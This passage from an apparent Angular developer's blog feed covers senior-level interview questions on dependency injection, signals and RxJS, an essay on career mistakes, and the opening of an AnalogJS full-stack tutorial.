    this.ngZone.runOutsideAngular(() => {
        this.document.addEventListener('change', (event) => {
            const target = event.target as HTMLElement;

            if (target.tagName === 'INPUT') {
                this.trackerService.createLog({
                    type: 'INPUT',
                    value: (target as HTMLInputElement).value,
                });
            }

            // others ....
        }, true);
    });
  }
}

What is and when to use an Injection Token ?

An InjectionToken is like a unique identifier or a name tag that Angular uses to locate and provide a specific value or service during dependency injection. You typically use new InjectionToken() when you want to provide a value that isn't a class such as a configuration object, primitive value, or interface-based dependency.

One common use case is running initialization logic at the app startup using the APP_INITIALIZER injection token token. While APP_INITIALIZER is now deprecated, the recommended replacement is the provideAppInitializer function.

bootstrapApplication(App, {
  providers: [
    provideAppInitializer(() => {
      // init languages
      // get data from cookies
      // setup sentry
      // etc ...
    }),
  ],
});

You can also define custom injection tokens, commonly used when developing Angular libraries that require configuration from the consuming app. For instance, if your library makes API call and needs to know whether it should call a production or development API, the consumer can provide this value through a token.

// code in the library 
export const API_ENDPOINT = new InjectionToken<string>('API_ENDPOINT');

// --------------

// in a different application/library
bootstrapApplication(AppComponent, {
  providers: [
    {
      provide: API_ENDPOINT ,
      useValue: '/prod/api'
    },
  ]
}

What are resolution modifiers and how to use them ?

A great explanation on this topic can be found in Decoded Frontend - Resolution Modifiers (2021). While the video is slightly dated, but the concepts remain the same. When injecting a service, Angular allows you to configure up to four resolution modifiers via the second argument to the inject() function. Below is a brief overview of each, focusing on what I typically expect from a senior candidate.

private service = inject(SomeService, {
    host: true,
    optional: true,
    self: true,
    skipSelf: true
});

Optional() is used when the provided service / injection token may or may not be provided by the developer. Example is the APP_INITIALIZER Injection token. When Angular injects this token, it uses inject(APP_INITIALIZER, {optional: true}) , since you, as a developer can, but don't have to provide some executable code when angular initiates.

Self() forces Angular to resolve the dependency only from the current injector. It won't check parent injectors. This is especially useful in directives that should only operate on the element they're attached to. An example is adding an asterisk to required input fields. You use self when injecting NgControl, so it only pulls from the target element:

@Directive({
  selector: 'input[formControlName], input[formControl]'
})
export class RequiredMarkerDirective {
    private ngControl = inject(NgControl, {
        optional: true,
        self: true
    })

    constructor() {
        if (this.ngControl?.control?.hasValidator(Validators.required)) {
        // Add red asterisk
        }
    }
}

Angular itself uses self() internally, for example in ReactiveFormsModule or FormsModule to resolve sync and async validators used on the form.

SkipSelf() is the opposite of self. It tells Angular to skip the current injector and look in the parent. This is useful when a directive or component needs to interact with a container element, like a parent form. In the example below, when using the FormControlName directive on reactive forms, it tries to resolve the parent form name for the control.

@Directive({
  selector: '[formControlName]',
  providers: [controlNameBinding],
  standalone: false,
})
export class FormControlName extends NgControl implements OnChanges, OnDestroy {
constructor(
    @Optional() @Host() @SkipSelf() parent: ControlContainer,
    // ... other injectors
 )
}

Host() modifier limits resolution to the host component or directive. It prevents Angular from searching up the hierarchy. For instance, if a directive inside FinalComponent tries to inject FormGroupDirective using @Host(), Angular will only look inside FinalComponent, not any parent components that may contain the actual form.

@Directive({
  selector: '[appHostFormDirective]',
})
export class HostFormDirective {
    private formGroup = inject(FormGroupDirective, { host: true })

    constructor() {
        console.log('FormGroupDirective found:', formGroup);
    }
}

@Component({
  selector: 'app-final',
  template: `
    <form [formGroup]="form">
       <input [formControlName]="'name'" appHostFormDirective />
    </form>
  `,
  imports: [ReactiveFormsModule, HostFormDirective],
})
export class FinalComponent {
  form = new FormGroup({
    name: new FormControl<string | null>(null),
  });
}

I rarely use these modifiers in day-to-day application development. They tend to become more relevant when building libraries or advanced directives. However, Angular itself uses them extensively, and reviewing its source code is a great way to see them applied effectively.

Why would you use a `track` function in a for-loop and how it works ?

@Component({
  selector: 'app-child',
  imports: [NgForOf],
  template: ` 
    <button (click)="onRerun()">re run</button>

    <div *ngFor="let item of items()">
        {{item.name}}
    </div>
`
})
export class ChildComponent {
  items = signal<{ id: string; name: string }[]>([]);

  onRerun() {
    // "fake api call" to reload data
    this.items.set([{id: '100', name: 'Item 1'}, /* ... */ ]);
  }
}

@Component({
  selector: 'app-child',
  imports: [CommonModule],
  template: ` 
    <ng-container *ngFor="let item of items(); trackBy: identify">
        <!-- previous code -->
    </ng-container>
`
})
export class ChildComponent {
  // ... previous code

  identify(index: number, item: { id: string }): string | number {
    return item.id;
  }
}

With the new @for() syntax, Angular enforces the use of a track key for the same purpose. However, two common mistakes still happen:

Using the object itself as the key - example: @for (item of items(); track item). This does not work as expected because the reference to each item changes on every reload, even if the data is identical and it will re-render the UI every time, basically ignoring the track function.
Using $index as the key - example: @for (item of items(); track $index). This causes problems when an item is removed. Suppose you delete the 5th item in a list of 10, then every item after index 4 now has a new index, forcing Angular to re-render them all unnecessarily. In stateful components like forms, this leads to loss of input focus or cursor position, however using the $index is okay for static lists.

Here's a comparison: the top row uses track item.id, and the second uses track $index. Watch how the first preserves DOM elements during removal. Here is a stackblitz example to play with.

What is the the difference between `providers` and `viewProviders` ? Can you provide an example when to use either of them ?

A great write-up on this topic is by Paweł Kubiak in his article Hidden Parts of Angular: View Providers. Below is a summary of his explanation, followed by a practical example.

“When you use providers, the service is available to the component itself, its template, any child components, and even to content projected into it using <ng-content>.

On the other hand, viewProviders limit the service's visibility strictly to the component's view. That means it's accessible only to the component and the elements declared directly in its template—but not to projected content or external child components.”

In most applications I've worked on, using providers or viewProviders were rare use-cases. Where I've seen this being showcased the most are examples with NGRX and generating dynamic components with configurable dependencies.

Let's take an example from a flight booking portal. On the final payment step you present two payment options - Stripe (default) and PayPal payments, allowing users to choose. Each option has a different implementation, but both rely on a common PaymentService abstraction:

export abstract class PaymentService {
  abstract pay(): void;
}

@Injectable()
export class StripeService implements PaymentService {
  pay() { console.log('Paid with Stripe!'); }
}

@Injectable()
export class PaypalService implements PaymentService {
  pay() { console.log('Paid with PayPal!'); }
}

@Component({
  selector: 'app-payment-button',
  template: `<button (click)="handlePayment()">Pay</button>`,
})
export class PaymentButtonComponent {
  private paymentService = inject(PaymentService);

  handlePayment() {
    this.paymentService.pay();
  }
}

Of course in real life you would need to establish a connection with the payment provider, handle errors, etc. The PaymentButtonComponent button is using the abstract PaymentService, which means, we need to provide an instance of either the Paypal or Stripe service. To dynamically decide which implementation to use based on user selection, you can manually create and inject the appropriate provider. This example demonstrates destroying and re-instantiating the component with a different PaymentService provider each time:

@Component({
  imports: [FormsModule],
  template: ` 
    <label>
      <input type="checkbox" [(ngModel)]="usePaypal" /> Use PayPal
    </label>

    <ng-template #container />
  `
})
export class TestComponent {
  readonly usePaypal = signal(false);

  readonly container = viewChild('container', {
    read: ViewContainerRef
  });

  constructor() {
    // init payment button
    effect(() => {
      const container = this.container();
      const usePaypal = this.usePaypal();

      untracked(() => {
        if (container) {
          this.loadComponent(container, usePaypal);
        }
      });
    });
  }

  loadComponent(vcr: ViewContainerRef, usePaypal: boolean) {
    // remove previous
    vcr.clear();

    const injector = Injector.create({
      providers: [
        {
          provide: PaymentService,
          useClass: usePaypal ? PaypalService : StripeService
        }
      ]
    });

    // attach component to DOM
    vcr.createComponent(PaymentButtonComponent, { injector });
  }
}

This example shows how providers can be dynamically configured depending on runtime logic. We don't use providedIn: 'root' here, even if our services were globally provided, because using Injector.create() always results in new instances, overriding any singleton behavior.

Even if the candidate doesn't know the exact difference, that's still okay, but I would expect at least one example where they encountered a situation that a global service wasn't enough, they needed to use a provider to create multiple instances for whatever reason.

Why `pipes` are considered safe in a template, but regular function calls (not signals) are not ?

Pure pipes are only reevaluated when their input values change, which makes them efficient and safe to use in templates. On the other hand, function calls in templates are executed on every change detection cycle.

So while {{ name | uppercase }} in the template is safe, {{ someHeavyFunction() }} will be called many times per second, which is rarely what you want. As Angular docs say: “by default all pipes are considered pure, which means that it only executes when a primitive input value is changed.”

Here I do a shameless plug including my article where I dove deeper into how the Implementation of Angular Pipes works. Under the hood, pipes create a caching object, and for a specific input, they perform the pipe's logic and store the result in the cache. Then, when change detection runs again with the same input, the pipe first checks the cache. If the output was already computed, it simply returns the cached value, making it an O(1) operation.

Angular Questions - Signals

Signals in Angular were first introduced in May 2023 with version 16, and there was quite a bit of buzz even before their official release. What fascinates me is when a candidate says, “Yeah, signals are here, but we worked on an older project and never migrated, so I never had a chance to try them out.” That's a red flag… what else can I say? As a senior developer, you're expected to have an understanding of newer features and how they work, even if you haven't used them in production yet.

How would you convince your team to migrate a project from Observables to signals ?

This question tells me two things. First, whether the person has a solid understanding of signals, and second, whether they've ever initiated a larger tech debt refactor on a project. I believe a senior developer should actively drive technical improvements and come forward with such initiatives. One solid answer might be something like:

“Angular, and overall the whole frontend ecosystem, is clearly moving toward signals. There's even a TC39 proposal to support signals natively in JavaScript. Most of the new Angular APIs, like the Resource API, are designed to work with signals. Signals also simplify state management, since you can both listen to changes and synchronously read their current value.”

Can you explain the diamond problem in Observables and why it doesn't occur with signals?

So far, this question has had a very high failure rate, but I like to see how candidates react to a topic they've likely never encountered in an Angular interview.

I first came across the diamond problem in the article from Mike Pearson - I changed my mind. Angular needs a reactive primitive. He argues why RxJS, even if loved, may not be the safest choice for Angular's long term and why SolidJS chose signals.

Mike talks about the diamond problem and the following example is heavily inspired from his blogpost. We are specifically curious about the behavior of the combineLatest operator.

Let's say we have an effect that listens to two signals. Signals are synchronous and batched, meaning that if both signals are updated one after another, the effect will still run only once. However, if we use combineLatest, it emits every time a dependency changes, resulting in multiple emissions even for the same update cycle.

export class TestComponent {
  prop1 = signal('a');
  prop2 = signal('b');

  constructor() {
    effect(() => {
      const prop1 = this.prop1();
      const prop2 = this.prop2();

      console.log(`Signal: ${prop1} - ${prop2}`);
    });

    combineLatest([
        toObservable(this.prop1), 
        toObservable(this.prop2)]
      ).subscribe(([p1, p2]) => console.log(`Observable: ${[p1} - ${p2}`));

    setTimeout(() => {
      this.prop1.set('one');
      this.prop2.set('two');
    }, 1000);
  }

In the console output, you'll see:

The effect logs only once, after both values are updated.
The combineLatest logs twice, once for each individual update.

This is a concrete example of the diamond problem - duplicated or excessive emissions due to shared dependencies in a reactive graph. Signals avoid this problem thanks to their synchronous and batched behavior.

I know this may be more of a “gotcha” question, so you could rephrase the question into: “Why can Observables like combineLatest lead to unnecessary emissions, and how do signals prevent that?”

When to use `effect` and `untracked` in a signal based application ?

Angular docs has a section use cases for effects, that talks about when effects should be used. Based on that I expect a response from the candidate something like:

"Use effect when you have no other alternative. For example when you need to rely on a reactive value and the other end isn't reactive. Use cases may include DOM API synchronizations, sending data into analytics, communication with a non-reactive library"

It's also important that the candidate has an understanding why the untracked function is needed when we want to remove dependency tracking in an effect. Problems I personally encountered many times were that an effect was reading multiple signals, but also modifying some, therefore it created an infinite cycle and was running all the time. Personally, I use untracked most of the time, leaving only the dependency signals outside of it. In the following example I want to focus on the input element when the button is clicked. I use afterRenderEffect which works similarly as effect, with the key difference being that it runs after the application has completed rendering.

@Component({
  selector: 'app-focus-example',
  imports: [FormsModule],
  changeDetection: ChangeDetectionStrategy.OnPush,
  template: `
    <button (click)="editMode.set(!editMode())">
      {{ editMode() ? 'Exit' : 'Enter' }} Edit Mode
    </button>

   <input #editInput [(ngModel)]="value" [disabled]="!editMode()" />
  `
})
export class FocusExampleComponent {
  editMode = signal(false);
  value = signal('Initial value');
  editInput = viewChild('editInput', { read: ElementRef });

  constructor() {
    afterRenderEffect(() => {
        const editMode = this.editMode();

        untracked(() => {
          if (editMode ) {
            // read the element reference once, without tracking it
            const inputRef = this.editInput();
            // defer the focus() until after the DOM is updated
            setTimeout(() => {
                inputRef?.nativeElement?.focus();
            })
          }
        })
    });
  }
}

Are life-cycle hooks still needed in a fully signal based application ?

This question is great for brainstorming with a candidate, whether he understands these hooks and also how signals work. Based on my experience, many life-cycle hooks can be replaced by signals and reactive primitives:

NgOnInit (NO) - Mostly replaceable with constructor or effect(). This hook is traditionally used for initialization logic that depends on resolved inputs, data fetching, or setting up observers. For simpler logic, constructor() suffices, while more complex reactive scenarios are better handled with effect().
NgOnChange (NO) - Can be replaced with computed() or effect(), as these can react to changes in input() signal dependencies.
NgAfterViewInit (NO) - Replaceable with effect() to perform updates on DOM elements, using viewChild() signal references as dependencies.
NgAfterContentInit (NO) - Similar to NgAfterViewInit, effect() can handle initialization logic based on contentChild() signal references or you can use the afterNextRender callback.
NgAfterContentChecked / NgAfterViewchecked (NO) - are called after every change detection cycle, which makes them performance sensitive. You can replace them with afterRenderEffect which runs after the view has been rendered and a signal dependency changed.
NgOnDestroy (NO) - For cleanup tasks such as unsubscribing from third-party libraries, clearing intervals, or other manual teardown logic that signals don't automatically handle you can inject DestroyRef and listen on onDestroy for this purpose.

Angular Questions - RxJS

Even in a fully signal based application, there are still use cases where RxJS is a better alternative. From my experience, nearly everything can be implemented by signals, but RxJS sometimes offers a more declarative or composable approach, especially when dealing with complex async workflows therefore I open a debate about some RxJS topics.

What is a higher-order observable and how they differ ?

For an indepth reading about this topic I include a blogpost that I've made in the past Angular Interview: What is a Higher-Order Observable?. A good example is the classic search box use case, where on each keystroke, an API request is made. The candidate should be able to explain how the behavior changes depending on which higher-order observable operator is used.

export class TestComponent {
  private readonly http = inject(HttpClient);
  readonly control = new FormControl<string>('');

  search$ = this.control.valueChanges.pipe(
    // switchMap, concatMap, mergeMap, exhaustMap
    switchMap((val) => this.http.get('...', {
      val: val
    }))
   )
 }

switchMap - cancels any ongoing request when a new value is typed. Ideal for search boxes, only the latest input matters.
mergeMap - triggers all requests in parallel. Every keystroke results in a request, regardless of timing. Good for logging, but not ideal for searches.
concatMap - queues each request and processes them sequentially, preserving order. Better for form submission flows, not live search.
exhaustMap - ignores new values while a request is in progress. Useful to prevent duplicate requests (e.g., during button mashing), but bad for fast-typing search boxes. If you don't use the abortSignal for the resource API, it works as exhaustMap.

What is the difference between `share()` and `shareReplay()` ?

Too much of a theoretical question? Not at all. In a legacy project, which still mainly relies on Observables, you may have situations where you use one of them to multicast values to subscribers. There are, however, occasional bugs, for example, when you navigate back and forth between pages. The next time you come back, you no longer have the current value, or you just retriggered logic that should have been cached by the shareReplay() operator. Or, you just ignore both and use BehaviorSubject.

Both share() and shareReplay() are RxJS multicasting operators. They allow multiple subscribers to share the same source observable, preventing duplicated side effects (like HTTP requests).

Use share() when you only want future subscribers to receive emissions. It doesn't retain or replay past values. Essentially, it converts a cold observable into a hot one.
Use shareReplay() when you want new subscribers to immediately receive the latest emitted value(s). It's useful for caching scenarios where re-executing the source (e.g., an HTTP request) is costly or undesirable.

You can configure shareReplay() using options like:

bufferSize – The number of previous values to remember and replay to new subscribers. Typically set to 1 for simple caching.
refCount – When true, the observable automatically unsubscribes from the source when there are no subscribers. When false, it stays connected indefinitely (useful for app-wide shared streams).

What does this code do ? - `scan()` + `expand()`

Both scan() and expand() are rarely used in everyday Angular development. However, their presence can indicate that a candidate has encountered more complex problems, problems that go beyond the usual use of map, filter, or take operators. I like to show a practical example like this:

  private paginationOffset$ = new Subject<number>();

  loadedMessages = toSignal(this.paginationOffset$.pipe(
    startWith(0),
    exhaustMap((offset) =>
      this.api.getMessages(offset).pipe(
        expand((_, i) => 
            (i < 2 ? this.api.getMessages(offset + 20) : EMPTY)
        ),
        map((data) => ({ data })),
        catchError((err) => of({ data: [] })),
        startWith({ data: [] }),
      ),
    ),
    scan(
      (acc, curr) => ({ data: [...acc.data, ...curr.data] }),
      { data: [] as MessageChat[] },
    ),
  ), {initialValue: [] });

  nextScroll() {
    this.paginationOffset$.next(this.loadedMessages().data.length);
  }

The code above represents a recursive API-based pagination pattern. Every time the user triggers nextScroll() (for example, by clicking a "Load More" button), the number of already-loaded messages is emitted into the paginationOffset$ subject. Inside the loadedMessages signal:

exhaustMap ignores new emissions until the current inner observable completes. The user is unable to load more data until the first batch completes.
expand is used to recursively call the API multiple times. We assume each call returns 20 messages. Using expand, we can simulate loading three pages in one shot (initial call + two recursive calls).
scan accumulates all the loaded messages into one stream without losing previously fetched ones.
catchError ensures that any failed API call doesn't break the chain.
startWith ensures the stream emits an initial empty state, avoiding undefined references.

Summary

The Need Of Failing Before Succeeding

Eduard Krivanek — Wed, 11 Jun 2025 10:31:54 +0000

I used to think the whole try-and-fail wording was just a catchy phrase people threw around to sound deep. Turns out it has some truth to it and the fail part is very real. Failing sucks, and many times, It's not just some feel good “learning opportunity”. It usually comes with blame, criticism, and mainly taking responsibility for your actions.

I feel like in tech we don't share our experiences so often, even if some may come with valuable lessons, therefore I wanted to write a smaller article where I'll share some of my own screw-up decisions I was sure were right (they weren't), the lessons they taught me, and how I became a senior developer by age 27. I want to underline that these are my personal experiences, not universal rules. Every project has its own variables, such as people, tech stack, timeline, and budget. What failed for me might work perfectly for someone else under different circumstances. Hope these short stories will show you that we all suck, and being a senior dev just means you've made enough bad calls to know which ones to avoid next time. The article was initially published on Angular Spaces.

Quick Refactoring

“hmm, look at that, old code - I should refactor this, doesn't look that complicated”.

Classic mistake only juniors make, right? Well, I've made this mistake at least once a year for the past seven years. Every. Single. Time. And somehow, it was always more complicated than I initially thought.

First, you have to convince your manager to allocate time. Believe me, he wants nothing else to hear just why exactly we need to change an already existing production code, used by thousands of paying customers, just because you don't like the syntax. Good luck selling that.

Even if you manage to sell the idea, then what? You've got a deadline. Are you 100% sure you understand every edge case in that old legacy code? No? Are there tests? Probably not. So now you're hoping, that your shiny new version doesn't explode. And when it does, you just became the responsible person for it.

Worst case scenario? You're deep in your “harmless little refactor,” missing your deadlines, stress levels through the roof, burning unpaid overtime to fix a mess you created entirely voluntarily.

Refactoring isn't bad. In fact, it's often necessary for long-term maintainability. Simple refactoring might include upgrading dependencies, where newer library versions can fix some security issues or reduce the overall bundle size through optimizations like tree-shaking. Other small refactors with high impact can include reducing repeated DOM access inside loops, extracting duplicated logic into reusable functions, or replacing nested callbacks with async/await for readability.

However, be aware of the risks you're walking into. If you don't fully understand the purpose and scope of the code, don't refactor it blindly. Always have a clear reason for the change, ideally with your manager's blessing. It's critical to understand why the code exists in its current form and what edge cases it handles.

Pushing Side Projects

Everyone tells you side projects are essential. They help you learn new tech, experiment freely, and build confidence without the pressure of deadlines. The problem starts when you delude yourself into thinking your side project is definitely the next unicorn SaaS startup.

My most “educational failure” was an app called GGFinance. It started as my Master's thesis and later turned into a long nights work. The concept was decent - a stock portfolio simulator aimed at schools. Students were creating a fake portfolio by trading stocks and the app was calculating many financial metrics, displayed in charts (people like charts), and students competed with each other. I even made a YouTube video about it. The app is long gone, of course.

I had examples, eToro, XTB, various data-vizualizations apps, so clearly, my idea had needed to work. Or so I thought.

I learned that having users does not automatically mean you'll make money. Turns out, building a profitable product requires an actual business plan. Who would have thought.

I thought if I built it, customers would come, and pay. No. You need marketing, user research, pricing strategies, customer support... basically everything besides development. I invested 1,500+ hours in that app. Worth it? For the tech lessons, yes. I was optimizing the app, solving many edge-cases, and from the tech side, it was the most complex and best learning experience. For the revenue? I only saw red numbers. Most projects fail, and it still surprises us, that our idea does too. And just because you put more work into something it still does not mean it will succeed. Sometimes we have to admit our loss and move on.

Still, I'll always advocate for side projects. Not because they'll make you rich, but because they'll make you better. Company projects tend to revolve around the same stack, the same patterns, and often avoid "risky" experiments, for a good reason. It's easy to stagnate. Side projects give you space to try a new framework, build something from scratch, and break stuff without consequences. You'll learn faster because you're the one making the decisions. And sure, it might be exhausting after a long workday, but even dedicating a couple of hours a week keeps you sharp.

Over-Evaluating Your Skills

I started my career as an IT helpdesk guy just before my twenties. It was a small company, around 100 people, only 2 of us on the helpdesk. We were receiving every user request thought an email. It was hard to track time, status and who was working on what. And some email occasionally even got “lost” if the request was too hard on us.

I was already learning some PHP, Jquery and MySQL, and then I came up with a brilliant idea to create an internal ticketing tool, a small Jira.

Enter the Dunning-Kruger effect. I massively overestimated my abilities. I thought, how hard could it be? A few forms, some login logic, slap on a bit of CSS, done. Instead, I ended up learning how little I actually knew, especially about things like async flows, multi-role authentication, and database design. For my first attempt I designed the database with 5 tables, shipped the product after some uncomfortable long time, and felt like a genius.

The app was ~working. I felt excited as the application was growing and slowly the whole company started to use it; however, new and new feature requests were coming in, and as the only coding guy, I had to solve them all. Over the next two years, the project went through multiple iterations, and I even wrote a custom script to migrate my 5-table database structure into a new 25-table one. Thankfully, at the time we only had 400 tickets, but man, database migrations are the worst.

This project had its ups and downs. The fascinating part is that even five years after my last commit, it is still in use, making it my most successful solo project. But it had its cost with plenty of frustrations, lots of learning, and many weekends spent coding while studying at University.

I learnt that before promising the stars, make sure you understand the destination, and at least have a rough idea of how to get there.

Using The New Shiny Tech

Once, I was assigned as the frontend dev on a greenfield project. We got to pick the stack. I had been playing with GraphQL during weekends and loved how flexible it was. You shape your own queries, it generates TypeScript types. What's not to like?

So, I thought: “If it works in my toy projects, it'll be perfect for this big production app too”. Backend team was on board. Management was convinced. We were ready to change the world.

Fast-forward 4–5 months. Everything works fine... on localhost. Then we move to real servers and suddenly, queries are slower than a government website. Now what? Turns out GraphQL's has its infamous N+1 problem, where it hammers the database with calls for every nested entity. We spent another 3-4 months optimizing queries and rethinking everything.

Now, similarly as in the Over-Evaluating Your Skills section, what did I do wrong here? For starters, I was learning GraphQL for 3-4 weeks. I quickly scanned the documentation (who needs docs, am I wrong?) and I used this tech on a small project on localhost. We sold GraphQL to the company based on our excitement, not a deep understanding of how it worked, and we ignored some cautious voices from teammates. Keep in mind that once you push a new tech in a project, you may became the responsible person for it. Being the go-to guy is not bad, if you know what you do. The problem becomes when you spend 2 hours learning a new library and thinking you mastered it.

I would like to emphasise that I don't think GraphQL is a bad technology. The company I work for now uses GraphQL in one project, and all I hear is positive feedback. It's a bit like using Angular without OnPush and then blaming Angular for being slow — the tool isn't the problem, the implementation is.

This is more of a story of me, a young, naive developer seeing a new tech through rose-colored glasses, only reading the praise, not understanding the full picture, and convincing others to take it to production.

Not Asking For Help

Back in my early days, I wanted to be a Java developer because, well, that's what they taught at University. Then one day at work, I was given a tiny frontend task. Create a dashboard with two pages. One to display external links as buttons and one to display admin logs in a table.

For an experienced person this would be 1-2 days of work. I was working on it for 4 weeks. The reason? Since I was new in web, I had no idea what CORS, Proxy, JWT token, Cookies, Sessions, Application State event meant… and it was a first time I heard that javascript have libraries - Angular/React?

Instead of asking for a help of my colleagues, I started googling and went down to a rabbit hole of information. There is a fine line between “I don't want to look stupid so I will google it” and “I have no idea what I am doing”.

Junior developers often let ego get in the way. We'd rather spend 40 hours creating a terrible solution ourselves than ask for help and risk looking clueless for 5 minutes.

In the end with tears in my eyes I went to my superior and asked him for helped. He scolded me like a 12 year old child for waiting such a long time, but we solved all problems.

Now, as a senior, I've learned that saying “I don't know” is not a weakness. It's efficiency. It means I know when to ask the right person for help and move on.

It's worth mentioning that not asking for help has a dark opposite - asking for help too much. When you're new to a team, it's totally okay, even expected, to ask questions or get clarification when you're stuck. But be mindful of how you ask.

You don't want to turn your colleague into your personal Google and just wait for them to hand you answers. Instead, always share what you've already tried or the approaches you're considering. That way, your teammate can give more targeted advice and it shows that you've put in some effort before reaching out.

Poor Project Management

I was so happy when I first landed my first junior programming job. I wasn't questioning anything and I thought what they were doing was the gold standard in the tech industry. Well... not exactly.

I had basic Git skills — commit, push, pull, more or less what I do now. But what surprised me was that our team of five devs, were all pushed directly to the main branch. No feature branches, pull requests or code reviews. Straight up YOLO to main.

As the project was heading toward a big launch, every week our managers would demo new features to the client. Weekly presentations, that created an extreme pressure on us to deliver features fast.

I remember that the day before one of the presentations, I wanted to finish my task. I was doing some changes on the checkout page and commented out the payment button functionality for testing. Since no PR reviews were done, I forgot to uncomment the code, I made a commit and pushed into main. Happy with my changes I closed the PC and went home.

Next day demo time. The client notices the payment button doesn't work. “But it worked last week…” Hmm. They dig into the Git log. Whose name do they see? Mine. Awesome.

I received some gentle feedback, which motivated me to check each file changes before committing them.

I felt horrible at the time. But looking back, the real problem wasn't one junior dev pushing a broken commit, it was a complete lack of process. No reviews or QA or checks. If a bug makes it to production, it's never just one person's fault. It means something broke in the process the team is using.

Letting Your Emotions The Better Of You

We're all human (at least most of us), so no matter how many coaching sessions we attend or how many times we're told to “think before responding,” there will always be moments when emotions take over and we say something we probably shouldn't. Two classic examples are salary negotiations and PR reviews.

Let's start with salary. You're doing your job and doing it well. Over time, you take on more responsibility, lead more initiatives, and help others, all while your paycheck stays the same. At first, you're okay with it. But months go by, and the frustration quietly builds. Especially in tech, where your teammate, doing the same work (or occasionally even less), might be getting paid more. One day, you snap. You storm into your manager's office (or call him on MS Teams), list everything that's wrong, demand a raise and maybe even threaten to quit.

Now… was that a great strategy? Sure, you might get what you asked for, but it'll likely damage your relationship with your manager. And even if you “win,” you've created tension that can hurt you down the line. A better approach? Come prepared. Gather what you've accomplished over the past few months. Show the extra responsibilities you've taken on. Then, calmly ask if it would be fair to revisit your compensation. And remember, even if this has been bugging you for months, it's probably the first time your manager's hearing about the request. They won't have a solution immediately. You're not trying to corner them. You're trying to solve the problem together.

I see this a lot, especially with junior developers. At first, they feel “lucky to have a job” and just patiently wait for their manager to bring up a raise... and nothing happens. But here's the thing, you chose this company, and they hired you because they see value in you. If they want to keep you long-term, this conversation needs to happen. You should be having regular performance reviews where you lay out your contributions. That's the perfect time to start open up this topic. It may feel awkward at first, but these small, honest talks are what prevent bigger problems later on.

Now, on to PR reviews. Someone once told me code reviews are like standing naked in front of a mirror, all your flaws are right there, impossible to miss. When you submit a pull request, you usually feel pretty good about it. You expect a comment or two, but nothing major.

I remember once I submitted a 200-line PR and got 50 comments. Whether I was frustrated is not even a question. I almost wrote something regrettable to that person. At least it was still in morning and I had my willpower to stop myself. I took a break, cursed a bit, and then calmly called that person to walk though the feedback. The suggestions were more about the way of writing the code, rather than the business logic. The call was long and painful, but we came to a common ground, that appealed both of us and merged the PR.

Through the time I cultivated a positive mindset in a sense that nobody really wants bad for you. People just want to do their job well and sometimes they aren't the best at communicating. The message that you interpreted personally may have just been a rushed response from them. If you get angry, you need to sit with your emotions, let them pass a bit and just then start replaying. It is always you with your teammate against the problem and never you against him.

NgRx for State Management

I remember around 2018 there was a big push towards NgRx State Management. As your application scales, centralizing state management with a library like NgRx can help avoid code mess and make things more predictable. The argument was that relying on a proven library reduces the risk of introducing bugs through ad hoc state logic.

So I started to learn NgRx and this was the famous diagram I was staring at for a week until I thought understood what It meant.

I'm not going to explain the concept here, but let's just say it's not exactly beginner-friendly. I was trying to shift from writing imperative code to thinking declaratively, and that's a mental jump.

At the time, we were refactoring our custom RxJS Observables state into this NgRx concept. It was largely driven by one external senior developer, so we didn't question his decisions that much. I assumed that I lack some knowledge to understand this higher power wisdom.

But once we finished the migration, things got weird. Suddenly, our once relatively clean project had exploded in size. We had three to four times more files, and they were scattered across different folders — actions, reducers, effects, selectors, facades, and sometimes even duplicated types. What used to be a simple state update now required touching five different files, across multiple layers of abstraction. Even worse, onboarding new developers got tricky. Instead of showing them the logic in one place, we had to walk them through a mental map of how state flowed through the app.

Looking back, the mistake wasn't using NgRx. The mistake was using a powerful tool without fully understanding the paradigm shift it required and underestimating the cost of added complexity for a relatively small team. NgRx isn't "bad", it shines when it is used correctly. You can have the best hammer in the world if you are unable to use it properly.

Since some years have passed, I've seen NgRx introducing Component Store or even NgRx Signals which is a much lightweight implementation of the above picture. After some break I picked it up again and with a better understanding, and I wrote an article on Angular State Management - Imperative, Declarative, Ngrx and SignalSlice

From myself, I worked on projects with less than 500K lines of code on the frontend, where I prefer using custom signal based solution to manage application state. That said, I now understand why libraries like NgRx exist, and when they really shine. In large-scale applications with many developers, strict separation of concerns, predictable flows, and centralized debugging become critical. NgRx's declarative pattern can help enforce consistency across teams, make testing easier, and prevent accidental side effects. It's always best to try it out yourself and draw your own conclusions.

Key Takeaways

Honestly, and sadly, I could go on about all the mistakes I've made. But here's the real takeaway: we all screw up. Sometimes a little. Sometimes catastrophically. And that's exactly how you grow.

What makes a senior developer isn't knowing all the answers. It's knowing which bad decisions to avoid because you've already lived through the fallout. Experience doesn't just teach you what to do, it teaches you what not to do.

So fail. Then fail better. And maybe one day, you'll be writing blog posts like this, after you've finished crying over your failed side project. Hope you liked these short stories. Feel free to share your thoughts, catch more of my articles on dev.to, connect with me on LinkedIn or check my Personal Website.

Build A Full-Stack Application With AnalogJS

Eduard Krivanek — Fri, 02 May 2025 07:24:18 +0000

You’ve probably heard the Vue crowd singing praises about Nuxt, and the React folks wouldn’t dare start a project without Next.js. Meanwhile, over in Angular land, we were kinda missing out on that meta-framework magic. Or we did, until Brandon Roberts stepped in with AnalogJS, attempting to bring those same modern features to Angular.

I’d heard about AnalogJS a bunch of times, so as an Angular developer, I had to give it a shot. I rebuilt my personal website, eduardkrivanek.com (shameless plug), switching it from React 😱 to Angular 😎. But slapping together a blog-style app wasn’t enough. I wanted to see if Analog could handle the demands of a full-stack application.

In this post, I’ll walk you through some of the features Analog offers by building an anime search app. Think of this article as a summary of what AnalogJS is capable of. I will go over how I created this small application, but I highly recommend reading the official docs. The presented project is available on GitHub. This example uses Angular 19.2 and AnalogJS 1.15.1. Here is GIF about the final result that we will be. Blog was originally published on angular-spaces.

Getting Started

So, what even is AnalogJS, and why should you care? Well, I’d say it’s worth checking out if:

You’re building a full-stack app and don’t want separate backend-frontend
You’re aiming for SSR/SSG-heavy pages and want that SEO optimization

The features which Analog provides (and what I’ll cover throughout this post) are:

File-based routing
Route metadata
API routes
SSR + SSG rendering
Form Actions
Vite (instead of Angular CLI)
Markdown content support (like Nuxt Content)
Full-stack capabilities (API + frontend in one)

To get started with Analog use the command npm create analog@latest or if you already have an existing project, and want to migrate to analog, you can follow their migration guide.

For my example you will see that I opted-out from Analog’s SFC, which is the “svelte-like” syntax, however this is all personal preference. Another optional thing, in new projects, is removing zonje.js following Angular’s guideline for the best performance.

Application Routing Overview

The example app makes use of all the routing features Analog offers, including static routes, dynamic routes, layout routes, and route groups. We’ll break each of these down in more detail later, but for now, here’s the folder structure we’re working with:

src/
└── app/
    └── pages/
